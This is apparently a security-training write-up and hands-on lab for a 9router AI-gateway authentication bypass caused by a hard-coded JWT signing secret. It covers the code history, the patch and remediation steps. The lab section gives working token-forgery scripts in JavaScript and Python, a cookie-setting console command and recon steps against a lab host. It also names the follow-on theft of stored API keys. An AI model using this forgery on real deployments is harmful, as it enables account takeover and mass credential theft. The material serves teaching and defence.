The Secret Everyone Already Had: Inside 9router's CVE-2026-49352
Imagine the lock on your front door shipped from the factory with a key already cut for it, and the exact same key fits every other door of that model, sold to everyone, with the cut printed in the manual. You would not call that a lock. CVE-2026-49352 is that story told in software: 9router shipped with its JWT signing secret baked into the source code, so anyone who could read the code held the one key the whole authentication system depended on staying secret. With it, an attacker forges a token the server trusts without hesitation and walks straight past the login as whoever they want to be.
Vulnerability Overview
CVE identifier | |
|---|---|
Affected product | It affects 9router, an open-source AI API gateway that sits in front of multiple LLM providers (OpenAI, Anthropic, Gemini, and others). It ships as the npm package 9router and is built on Next.js |
Affected versions | It affects all releases from 0.2.21 up to and including 0.4.41, per the GitHub Security Advisory |
Vulnerability type | It is an unauthenticated authentication bypass through use of hard-coded credentials (CWE-798). The hard-coded credential is the fallback secret used to sign and verify dashboard session tokens |
Severity | It carries a CVSS score of 9.8 Critical |
Affected component | The dashboard session token, carried in the auth_token cookie. The secret lived in src/lib/auth/dashboardSession.js in versions 0.4.31 to 0.4.41, and in src/app/api/auth/login/route.js and src/middleware.js before that |
Patched version | 0.4.45 per the GitHub advisory (NVD and OSV record the fix a release earlier, in 0.4.44); the patch removes the hardcoded fallback, so an unset JWT_SECRET yields a freshly generated secret rather than the public constant |
Skill Dive CVE Lab |
The Setup: One Login in Front of All Your Keys
To see why this bug is as serious as its 9.8 score suggests, you have to look at what 9router is for. It is an AI API gateway, a single proxy that sits between your applications and the LLM providers they talk to. You hand it your OpenAI key, your Anthropic key, your Gemini key, and it routes requests, consolidates usage, and saves you from scattering provider credentials across every service you run. That is a genuinely useful thing to run. It also means one process quietly accumulates the most sensitive secrets you own: every provider API key, every auth token, all in one place.
This concentration of credentials makes AI gateways particularly sensitive infrastructure. Similar security risks have emerged elsewhere in the AI application ecosystem, including the vulnerabilities explored in INE's analysis of Langflow CVE-2026-33017.
All of that lives behind the 9router dashboard, and the dashboard is where an operator reads keys, changes settings, and manages providers. So the only thing standing between an anonymous stranger on the internet and your entire collection of provider keys is the dashboard login. Everything rests on that one gate.
That gate is a standard session scheme. You log in with a password, the server mints a JSON Web Token (a JWT), and drops it into your browser as the auth_token cookie. On every request after that, the server does not re-check your password. It checks the cookie: is this a token I issued, and has it been tampered with? If the token verifies, you are in. The login page exists only to hand out that first token.
Here is the part that matters. 9router signs those tokens with HS256, a symmetric algorithm. Symmetric means one secret does both jobs: the same key that signs a token is the key that verifies it. There is no public or private half. So the entire security of the dashboard reduces to a single assumption, the same assumption every JWT scheme makes: only the server knows the signing secret, so only the server can produce a token the server will accept. Hold that assumption in mind, because CVE-2026-49352 is what happens when it turns out to be false.
The Flaw: A Secret That Was Never Secret
The assumption was false because the signing secret was printed in the source code for anyone to read. 9router loaded JWT_SECRET from the environment, and if that variable was not set, it fell back to a hard-coded string. Not a random string generated once at install, not a placeholder that the app refused to run with. An actual working secret, committed to the public GitHub repository, with a name that says out loud what should have been done to it: "9router-default-secret-change-me".
Now walk the symmetry back through. HS256 uses one key to sign and to verify. The server verifies your cookie against that fallback secret. The fallback secret is public. So anyone can take the public secret, sign their own token, and the server will verify it against the exact same key and accept it as genuine. The verify step has no way to tell a token the server minted from a token an attacker minted, because both were signed with the one key they both hold.
And the token the attacker needs is almost insultingly small. The dashboard decides you are logged in when the token's payload says {"authenticated": true}. That is the whole claim. An attacker signs a payload containing that one field with the known secret using HS256, sets the result as the auth_token cookie, and loads the dashboard. No password. No login form. No prior knowledge of any account. The published proof of concept even stamps the forged token with a 36 year expiry, so it never has to be minted twice.
Two properties turn a bad default into a critical, mass-exploitable vulnerability.
The insecure path is the default path. The fallback fires whenever JWT_SECRET is unset, which is exactly the state of any instance someone spun up by following a quickstart and skipping the security docs. The system does not fail loudly when the secret is missing. It fails silently and keeps serving, protected by a password that is already public. Secure by default this is not; it is insecure by default.
One key unlocks every door. Because the fallback is the same constant in every affected release, a single forged token is valid against every unconfigured 9router on the internet. An attacker does not exploit one target at a time. They mint one token and spray it at every instance a Shodan or FOFA query turns up. Each one that never sets JWT_SECRET opens.
There is one more detail that makes this sting, and it is the part worth sitting with as a defender. This was not a secret that got buried and forgotten. It was introduced in commit 23cfb19 on January 9, 2026, present from the moment 9router first added authentication. Later, an OIDC refactor (commit c3d91b0) consolidated the auth logic into a shared module and physically moved this exact line of code from one file to another. Someone had their hands directly on the fallback secret, relocated it, and left the string unchanged. The code was edited. The bug was not. A loaded default does not go off by being noticed. It goes off by being left in place.
How It Actually Works: Walking the Code
Let us make this concrete and look at the two ends of the chain in the real source: where the secret is defined, and how a request is gated with it. The line numbers and file paths below follow the advisory and the repository at tag v0.4.41, a vulnerable version.
Where it starts: the fallback secret
The entire bug is one assignment. In the affected releases it reads, verbatim:
Read the || carefully, because that operator is the whole vulnerability. In JavaScript, A || B evaluates to A when A is truthy and to B otherwise. So if process.env.JWT_SECRET is unset (or empty), SECRET becomes the encoded bytes of the literal string to its right. The fallback is not a last resort that logs a warning or halts the boot. It is a silent, fully functional default that lets the server run exactly as if a real secret had been supplied, which is precisely why it survives into production.
The same line has lived in two places over the vulnerable range. The advisory lays out the history:
Versions | File(s) | Note |
|---|---|---|
0.2.21 to 0.4.30 | src/app/api/auth/login/route.js and src/middleware.js | Secret introduced in commit 23cfb19 |
0.4.31 to 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by the OIDC refactor c3d91b0, string unchanged |
The two jobs that one secret does
From version 0.4.31 on, src/lib/auth/dashboardSession.js is the single module that both mints and checks dashboard tokens, and it uses the jose library to do it. Two functions carry the weight:
createDashboardAuthToken(claims) signs a JWT with SECRET and a normal expiry. The login route calls it after a correct password and hands the result to setDashboardAuthCookie, which writes the auth_token cookie as httpOnly, sameSite: "lax", and is secure when the connection is HTTPS.
verifyDashboardAuthToken(token) checks a presented token's signature and integrity against SECRET. The dashboard guard runs it on protected routes. A request with no valid token is bounced to the login page, which is the 307 redirect you will see in the lab.
Because HS256 is symmetric, these two functions share one key. verifyDashboardAuthToken cannot ask "did I issue this?" It can only ask "is this a valid HS256 signature over SECRET?" When SECRET is a public constant, an attacker's token answers that question with a confident yes.
Where it ends: forging the token
The advisory's own proof of concept uses the very same jose API the server uses, which is the tidiest possible demonstration that the attacker is simply doing the server's job with the server's key:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
Nothing about this is library-specific. The output is an ordinary HS256 JWT, so any JWT library in any language produces an equally valid token. The lab that follows forges the same token in four lines of Python with PyJWT. The server does not care who wrote it or with what tool. It only cares that the signature verifies against a key that, by this point, everybody has.
Put the whole attack in one sentence: with a public key doing symmetric duty, forging a dashboard session is a three line script, and the server has no mechanism left that could tell the forgery apart from the real thing.
The Lab: Exploiting It Yourself
Reading about a forged token is one thing. Minting one and walking into the dashboard is another. Here is the exploit end to end in a lab environment, from a Kali box to a full authentication bypass on the target.
The environment
The lab target runs the vulnerable 9router release, version 0.4.41, reachable from a Kali attack box at:
The only tools you need are python3, curl, and nmap.
Step 1: Confirm the target is reachable
ping -c 4 demo.ine.local
Step 2: Confirm the port is open
nmap -p 20128 demo.ine.local
Port 20128 is the port this instance is published on, and nmap shows it open.
Step 3: Confirm authentication is actually enforced
Browse to http://demo.ine.local:20128 and the 9router login page loads.
Before forging anything, prove the dashboard is genuinely gated by requesting it directly:
curl -s -o /dev/null -w "%{http_code}" http://demo.ine.local:20128/dashboard
The server answers 307, a redirect that sends an unauthenticated visitor to /login. That is the guard doing its job. It is also the exact check the forged cookie is about to satisfy.
Step 4: Forge the token
The weakness, once more, is the fallback secret in src/lib/auth/dashboardSession.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Since JWT_SECRET is not set on this instance, that constant is the live signing key. Sign a token whose payload claims {"authenticated": true} with it, using HS256, and the server will accept it. The lab does this with PyJWT in a few lines of Python:
import jwt, time
secret = "9router-default-secret-change-me"
payload = {
"authenticated": True,
"iat": int(time.time()),
"exp": int(time.time()) + (36 * 365 * 24 * 3600)
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
Save it and run it to print the forged token:
python3 forge.py
Step 5: Set the cookie and walk in
Take the forged token to the browser and present it as the auth_token cookie:
Open the browser console (F12, then the Console tab) and set the cookie, pasting in the token from the previous step:
document.cookie = "auth_token=<forged-token>; path=/"
Navigate to http://demo.ine.local:20128/dashboard.
The dashboard loads with full access, no password required. The 307 redirect from Step 3 is gone, because the guard ran verifyDashboardAuthToken against the fallback secret, got a valid signature, read authenticated: true, and let you through.
What you can do from here
The bypass is not the end of the story, it is the foothold. With dashboard access an attacker can read every stored provider API key and auth token through /api/settings/database, change the administrator password, shut the gateway down, and modify any setting. From there the advisory notes a further pivot through the MCP stdio to SSE bridge exposed at /api/mcp/, which chains into CVE-2026-46339. One unauthenticated request to a login gate turns into theft of every credential the gateway was built to protect.
The Fix: A Real Secret, Not a Shared One
The patch removes the hardcoded fallback entirely, and the way it does so is worth a close look, because it is not what most people would guess. The maintainer did not bolt on an extra authentication check. The fix (commit fe3ce25) deletes the shared constant and, when JWT_SECRET is still unset, has the application mint its own secret instead: a random 32 byte value generated at runtime, written to the data directory with 0o600 permissions, and reused on every later boot. The essential lines read:
Now every deployment ends up with a key no outsider can predict, whether or not the operator ever reads the security notes, and there is no universal secret left to spray at the internet.
The advisory itself recommended an even blunter option: refuse to boot at all when JWT_SECRET is missing, forcing the operator to supply one.
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);
Both approaches share the one rule that matters here: never fall back to a publicly known constant. Generate a fresh secret, or stop and demand one, but do not ship the key.
If you run 9router
Upgrade now. Move to 0.4.45 or later, where the hardcoded fallback is gone, so a missing secret produces a freshly generated key rather than a public constant.
Set JWT_SECRET explicitly. On every deployment, set it to a cryptographically random value (openssl rand -hex 32 is fine) and restart. This closes the hole on vulnerable versions too, because the fallback only fires when the variable is unset.
Assume compromise and rotate. Any instance that ran without a JWT_SECRET set, especially one that was reachable from an untrusted network, should be treated as breached. Every provider API key and auth token it held was readable through the dashboard by anyone with a forged cookie, so rotate all of them.
Add a layer if you cannot upgrade immediately. Placing 9router behind an authenticated reverse proxy buys time, but it is a stopgap, not the fix.
The Lesson
A hard-coded fallback secret is a contradiction in terms. The moment a signing key is written into a source that anyone can read, it stops being a key and becomes a public constant that happens to be shaped like one. CVE-2026-49352 is a clean, almost textbook illustration of three ideas worth keeping: a secret in source code is not a secret; insecure defaults do not stay in the lab, they ship and get deployed by the people least likely to read the security notes; and the only safe default for anything that signs or verifies trust is to never fall back to a known constant, whether by minting a fresh secret or refusing to boot. The door was never locked. The key was printed in the manual the whole time.
References
Try this exploit for yourself within Skill Dive's CVE lab collection, regularly updated with the latest vulnerabilities.
Further Reading
Explore additional vulnerability research and hands-on security analysis from INE:
Inside Langflow's CVE-2026-33017 — Examine another vulnerability affecting AI application infrastructure.
CVE-2026-109619: Exploiting Stale Global State in PHP — Explore how application-level weaknesses can create exploitable security conditions.
